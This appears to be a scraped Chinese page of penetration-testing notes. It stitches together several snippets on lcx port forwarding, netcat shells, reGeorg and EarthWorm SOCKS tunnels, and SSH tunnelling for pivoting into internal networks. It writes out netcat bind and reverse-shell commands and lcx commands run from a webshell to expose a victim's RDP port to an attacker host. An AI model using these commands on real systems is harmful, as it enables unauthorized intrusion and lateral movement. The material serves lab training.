-
2021-10-17 14:40:03
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。隐藏隧道通信:lcx 端口转发
1 lcx 端口转发原理
lcx 是基于 Socket 套接字实现的端口转发工具,Windows 版本名称为 LCX、Linux 版本为 portmap。
一个基本的 Socket 隧道必须包含两端:
- 服务端:监听一个端口,等待客户端连接
- 客户端:通过传入服务端的 IP 地址和端口,与服务端建立连接。
lcx.exe -h [Usage of Packet Transmit:] lcx.exe -<listen|tran|slave> <option> [-log logfile] [option:] -listen <ConnectPort> <TransmitPort> -tran <ConnectPort> <TransmitHost> <TransmitPort> # 经测试无法过 nat 有点鸡肋。 -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
2 实验环境
3 配置服务端
- 在 evil 主机上,将本机 4444 端口上监听的所有数据转发到本地的 13389 端口上
lcx.exe -listen 4444 13389
4 配置客户端
- 首先准备好一个具有公网 ip 的服务器,假定域名或者公网 ip 是 192.168.0.21
- 在目标机器上将 3389 端口的所有数据转发到恶意主机的 4444 端口上。
-
配置 LCX 端口转发
.\lcx.exe -slave 192.168.0.110 4444 127.0.0.1 3389
-
客户端与服务端建立通信连接
-
与远程主机建立远程桌面连接
-
客户端:
-
服务端:
-
-
抓包查看流量特征
更多相关内容 -
lcx端口转发
2021-12-30 14:20:27lcx端口转发: 本文主要通过讲解lcx的本地端口及远程端口转发,让能熟练使用lcx端口转发工具,对端口转发知识有更加深入了解,本次实验靶场来源于暗月(moonsec)师傅,本文内容全由本人通过学习理解编制,文中若有错处...lcx端口转发:
本文主要通过讲解lcx的本地端口及远程端口转发,让能熟练使用lcx端口转发工具,对端口转发知识有更加深入了解,本次实验靶场来源于暗月(moonsec)师傅,本文内容全由本人通过学习理解编制,文中若有错处,大佬勿喷,个人学艺不精;所以想学习更多的渗透知识请找暗月师傅。
描述:
lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个
回路。它常用于外网连接内网3389端口。lcx命令: -listen #远程端口转发使用,在客户端开启 -tran #主要用于本地端口转发使用 -slave #远程端口转发使用,在服务端开启
本地端口转发:
这里可以看出3306端口只能在本地运行,所以需要通过-tran 将本地的端口进行转发。
我们将本地3306端口通过3307转发出来,这样当我们知道了Mysql密码后,就可以进行连接在webshell上面运行lcx:
lcx.exe -tran 3307 127.0.0.1 3306
本地查看3307端口是否开启:
kali通过远程连接3307端口访问到了192.168.1.7的3306端口:
远程端口转发:
通过本地的51端口来转发远程的3389端口:
为测试效果真实,已将防火墙打开,并将远程端口3389进行限制:
可以看出已经无法连接:
第一种场景:
服务端主动连接 客户端2333端口
本地访问127.0.0.1:51端口即可访问服务端上3389端口
首先在本地开启:lcx -listen 51 2333
在webshell上运行:lcx.exe -slave 192.168.1.5 2333 127.0.0.1 3389
此数据是通过服务端主动连接客户端,这样是可以直接穿透防火墙。第二种场景:
就是让攻击者能够访问,那只需要攻击者的IP能够访问客户端即可。 就例如 客户端是一个公网的VPS,将VPS的上的51端口放出来,让攻击者可以访问;在攻击者电脑上,远程连接192.168.1.5:51 即可。
个人理解总结:
1、假设192.168.45.128是攻击者,192.168.1.7就是被获取了webshell的地址 现在只有192.168.1.5也就是客户端可以进行访问,但攻击者不能;
2、我们在客户端上开启端口转发,-listen 51 2333(将本地的51端口,转发至2333端口);
3、然后在被获取webshell的地址上,主动去连接2333端口 -slave 192.168.1.5 2333 127.0.0.1 3389(主动用2333连接本地3389) ;
4、我们的客户端就可以通过127.0.0.1:51端口去远程访问192.168.1.7上面的3389端口;
5、如果我们的攻击者能够访问到客户端的51端口,那么同样他也可以通过192.168.1.5:51这样去连接192.168.1.7上面的3389;
6、这样就通过端口转发建立了一条隧道,让本不互通的内网的攻击者同样可以访问到受害者内网。 -
lcx端口转发工具
2018-04-11 09:19:23lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389. -
lcx端口内网转发工具
2021-07-14 15:15:52lcx端口转发 -
lcx端口转发神器
2015-07-08 18:24:45lcx会被查出病毒,用起来蛮顺手的。 -
lcx端口转发linux_技术干货 | 内网渗透之代理转发
2020-12-20 02:22:331 前言谈到内网转发,在我们日常的渗透测试过程中经常会用到端口转发,可以利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。那为什么不直接通过登陆服务器来对内网中其他机器...
1 前言谈到内网转发,在我们日常的渗透测试过程中经常会用到端口转发,可以利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。
那为什么不直接通过登陆服务器来对内网中其他机器进行渗透,而是通过内网转发呢?意义何在呢?
因为.........
大部分时候拿到权限不够,无法直接登录。
而且如果在内网服务器中进行操作,我们需要上传工具进行很多操作,如果服务器缺少对应的环境变量或者组件,会导致渗透受阻。
而且直接远程登录会留下比较明显的痕迹。
因此内网转发是我们最好的选择,在本地进行操作是最方便的,也比较安全~~~
说这么多,不知道大家有没有听过"代理"这个词,这个东西和我们要说的内网转发有很大的关系~
2 正向和反向代理那接下来咱们唠一下什么是正向/反向代理?
正向代理中,Proxy和Client同属一个区域,对Server是透明的;反向代理中,Proxy和Server同属一个区域,对Client透明。但其实这不管是正向还是反向代理都有一个共同的特点,都是代替收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后面那个玩意叫做反向代理。
2.1正向代理(Forward Proxy)
Lhost- ->proxy-->Rhost
Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。
2.2反向代理(Reverse Proxy)
LhostproxyfirewallRhost
和正向代理相反(废话),一般情况下,防火墙肯定不能让外网机器随便访问地访问内网机器,所以就提出反向代理。
Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。
简单区分
正向代理的是客户端,反向代理的是服务端,可以理解为正向代理是就比如年少时期喜欢那个Ta,当时很羞涩需要我自己(Lhost)写一份信(proxy)去告诉Ta,反向代理就是喜欢的那个Ta(Rhost)知道并且主动(proxy)过来告诉自己(Lhost)。
有人要问了,代理本质又是基于什么"何方神圣"呢?
那就是Socks协议~~
3 Socks协议什么是Socks协议??
中文意思:防火墙安全会话转换协议,工作在OSI参考模型的第5层(会话层)。
它是一种可以穿透防火墙的协议,很多场景都会用到。比如Fan墙,你们懂得~~
因为Socks介于传输层与表示层之间,使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。
目前有两个版本:SOCKS4和SOCKS5
SOCKS4支持TELNET、FTPHTTP等TCP协议;
SOCKS5支持TCP与UDP,并支持安全认证方案。
Ps: Socks不支持ICMP,不能使用ping命令。。记住哦~~~
当然啦,基于socks的转发代理有很多的实用的小工具,少侠看图吧~
常见的转发工具及不同平台的代理链工具:
这些工具能对我们内网横向渗透产生什么效果呢?接下来就开始进行一波模拟实战吧~
4 Natcat
让我们的神器出手--瑞士军刀,也叫NC,小巧强悍,主要作用就是用来反弹shell。
主机A:192.168.153.138
主机B:192.168.153.140
正向连接
在主机A执行nc -l -p 5555 -t -e cmd.exe
-t是通过telnet模式执行 cmd.exe 程序,可以省略。
在主机B执行nc -nvv 192.168.153.138 5555:
反向连接
在主机B监听nc -lp 5555:
在主机A反弹nc -t -e cmd 192.168.153.140 5555:
5 reGeorg+Proxychains
reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机。
1.上传reGeorg的tunnel.jsp到web主机A。访问链接,并转发到本地端口。
主机B以python环境运行:
python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp
使用设置proxychains的代理端口,进行访问,一般配合nmap和metasploit进行后续内网渗透。
Ps:socks4版本协议不支持udp和icmp协议,所以使用nmap要加上-sT -Pn即使用tcp协议且不使用icmp协议。
6 Earthworm+Proxychains
EW 是一套便携式的网络穿透工具,具有SOCKSv5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
该工具能够以"正向"、"反向"、"多级级联"等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
支持 Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
该工具借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道:
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
6.1 正向SOCKS5服务器
当目标网络边界存在公网IP且可任意开监听端口:
./ew_for_Win.exe -s ssocksd -l 8888
上述命令是在该机器(192.168.153.140)开启一个8888的正向连接端口。
然后其它主机可通过设置代理为192.168.153.140:8888添加这个代理,这里使用的是proxychains。
6.2 反弹SOCKS5服务器
当目标网络边界不存在公网IP,通过反弹方式创建socks代理。
先在一台具有公网 ip 的主机A上运行以下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给8888端口。
在目标主机B上启动SOCKS5服务 并反弹到公网主机的8888端口:
ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888
本地主机(192.168.153.129)然后通过添加公网192.168.153.129:1080这个代理,来访问内网机器(192.168.153.129)
当然如果本地主机如果是公网ip,就可以把在公网执行的步骤放在本地执行即可。
6.3 二级网络环境(有公网IP)
假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168连通外网,一块192.168.153.140只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。
先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下:
ew_for_Win.exe -s ssocksd -l 8888
然后在A主机执行:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
含义是将1080端口收到的代理请求转交给B主机(192.168.153.138)的8888端口。
然后MyPc就可以通过A的外网代理10.129.72.168:1080访问B。
6.4 二级网络环境(无公网IP)
假设我们获得了右侧A主机和B主机的控制权限,A主机(NAT)没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
这次操作有四步:
1.在公网vps(45.xxx.xxx.72)添加转接隧道,将10800端口收到的代理请求转交给8888端口;
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2.B主机(192.168.153.138)主机正向开启8888端口;
./ew_for_Win.exe -s ssocksd -l 9999
3.A主机利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来;
./ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f192.168.153.138 -g 9999
4.现在MyPC可通过访问45.xxx.xxx.72:10800来使用192.168.153.138主机提供的socks5代理,代理成功,vps会有rssockscmd_socket OK!提示。
7 ssh隧道代理转发
ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。
socks代理:
ssh -qTfnN -D port remotehost
参数详解:
-C 允许压缩数据
-q 安静模式
-T不占用 shell
-f 后台运行,并推荐加上 -n 参数
-N不执行远程命令
-g允许远端主机连接本地转发的端口
-n把 stdin 重定向到 /dev/null (防止从 stdin 读取数据)
-L port:host :hostport 正向代理
//将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-R port:host :hostport 反向代理
//将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-D port socks5代理
//指定一个本地机器 "动态" 应用程序端口转发。
7.1 ssh本地转发
远程管理服务器上的mysql,mysql不能直接root用户远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口实现以root用户远程登陆mysql。
ssh -CfNg -L :::用户名@跳板IP(A)
ssh -CfNg -L 1234:127.0.0.1:3306 root@45.XX.XX.X21
7.2 ssh远程转发
内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就可以直接访问到了内网的端口。
ssh -CfNg -R :: 用户名@本地IP
ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142
现在在192.168.153.142访问127.0.0.1:81就是访问内网的服务器的80端口。
7.3 ssh动态转发
远端服务器有限制隔离,本地主机无法直接访问,需要将一台可以访问远端服务器的主机作为跳板,设置为代理端,来代理访问不能访问的资源。
ssh -qTfnN -D 用户名@跳板IP(A)
ssh -qTfnN -D 1080 root@45.XX.XX.X21
本地Proxychains配置socks4 127.0.0.1:1080。
报名参加EISS2020北京站
-
lcx.exe原版 端口转发
2018-12-19 17:17:24windows下实现端口转发的工具 -
Lcx端口转发和映射
2017-09-11 15:02:12连接内网服务器的3389: 1.确定被控制计算机的内网ip 2.被控制的计算机执行:lcx -slave 本地ip 51 被控制计算机ip 3389 3.本地执行:lcx -listen 51 10000 4.用mstsc链接:127.0.0.1:10000前提:上传大马进行提权
1.点击CMD命令,输入whoami
2.显示拒绝访问,由此可以知道,系统cmd.exe不可用,可能是被删除或者是禁止掉,需要我们自己上传一个cmd.exe
3.网上下载一个cmd.exe,上传到网站可执行可读写的目录下
4.执行cmd命令,查看当前权限
5.执行netstat -an或者端口扫描,查看开发端口
Lcx.exe是一个端口转发工具,相当于把肉鸡A上的3389端口转发到具有外网IP地址的B机上,这样连接B机的3389端口就相当于链接A机的3389端口。
Lcx有两大功能,一个是端口转发(listen和slave成对使用),另一个是端口映射(tran)。
端口转发:
Lcx -Listen <监听slave请求的端口(对应slave的第二个参数)> <等待连接的端口>
Lcx -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>
Lcx只有3种命令,常用的有2种(slave和listen)
端口转发:
第一种方法:被控机和内网上传lcx.exe
1.查找中间机的外网ip: 2.2.2.2
2.中间机监听: lcx.exe -listen 51 10000
3.内网机设置: lcx.exe -slave 2.2.2.2 51 127.0.0.1 3389
4.外网机连接被控制机的外网ip: mstsc 2.2.2.2:10000
第二种方法:内网机不能上传lcx.exe
1.确定内网ip和本地ip,不需要被控制机的ip
2.本地执行:lcx -listen 40050 10000 //监听端口,连接端口
3.被控制的计算机执行:lcx -slave 1.1.1.1 40050 10.10.0.3 3389 //监听端口,目标端口
4.用mstsc链接:127.0.0.1:10000
端口映射:
Lcx -tran <等待连接的端口> <目标ip> <目标端口>
-
lcx.exe 端口转发工具
2020-07-15 15:30:15监听1234端口,转发数据到2333端口 本地:lcx.exe -listen 1234 3389 将目标的3389转发到本地的1234端口 远程:lcx.exe -slave ip 1234 127.0.0.1 3389 另外,还有一条指令: lcx.exe -tran 1234 127.0.0.1 3389 -
远程桌面连接:使用lcx进行端口转发
2021-09-18 16:37:34lcx是一个基于Socket套接字实现的端口转发工具,有Linux和Windows两个版本。比如说,当目标机器开放了3389端口,我们可以将目标机器的3389端口转发到我们自己的外网主机上的某个端口,然后我们在本地机访问外网主机... -
Lcx内网端口转发
2021-06-10 20:16:32Lcx内网端口转发 攻击机window7 ip 192.168.1.5 靶机 windowXP ip 192.168.1.6 (1)在攻击机监听的2222端口的流量转发到3333端口上 执行命令lcx.exe –listen 2222 3333 (2)在靶机上执行端口转发192.168.1.6为本... -
LCX端口转发工具使用
2017-12-01 14:31:55lcx端口转发说明 使用lcx工具让内网的服务器主动去与特定的公网IP地址进行通信 举例: 服务器A为内网地址192.168.100.10 开放了3389端口,现在想在公网上进行远程mstsc连接,但是3389没有对外映射,此时需要lcx... -
lcx端口转发工具的使用
2016-12-13 11:47:14Linux版lcx端口转发工具使用 0x01 前言 在实际情况中,web应用服务通常会被运行在内网机器上,然后通过端口映射到外网,供外网用户进行访问。如果我们已经攻破网站,拿到内网机器权限,通常会安装反弹木马到自己... -
LCX端口转发及NC反弹
2021-03-03 15:53:23真理的蜡烛往往会烧伤那些举烛的人的手 —— 布埃斯特环境攻击机 kali linux(IP:192.168.96.128)靶机:win7专业版(IP:192.168.96.130)公网服务器:...mz6j一.lcx端口转发首先用xshell登陆到我的服务器发现一个警告... -
LCX端口转发实现内网突破
2019-07-07 14:30:29端口转发就是我们在内网中找到一个肉鸡打开一个端口,利用一个工具将此端口映射到外网机器上的端口,这样外网机器上端口实际上就是内网上的端口。...lcx -slave ip 51 IP 3389 //将被控制机器上的的3389端口转发到... -
java 代码实现 lcx 端口转发例子
2019-06-21 15:19:40System.out.println("lcx 127.0.0.1 5555 127.0.0.1 8888"); for (String string : args) { System.out.println(string); } /* * lcx 127.0.0.1 5555 127.0.0.1 8888 */ String listener... -
lcx端口转发实现3389远程桌面访问
2020-10-25 10:44:56lcx.exe -slave 本机IP 自定义端口 目标IP 端口 例如:lcx.exe -slave 192.168.1.2 6666 192.168.1.250 3389 lcx -listen 6666 3388 本地自定义端口 4.监听成功,端口号为1234 ,使用127.0.0.1:1234连接 5.登录... -
lcx实现端口转发
2020-03-18 17:25:31LCX转发实验一 环境:内网3389端口不对外开放,但是1234端口对外开放(正向连接) lcx .exe –tran 1234 127.0.0.1 3389 过程:192.168.1.105: 1234 -> 3389 LCX转发实验二 环境:内网主机可以访问外网80端口...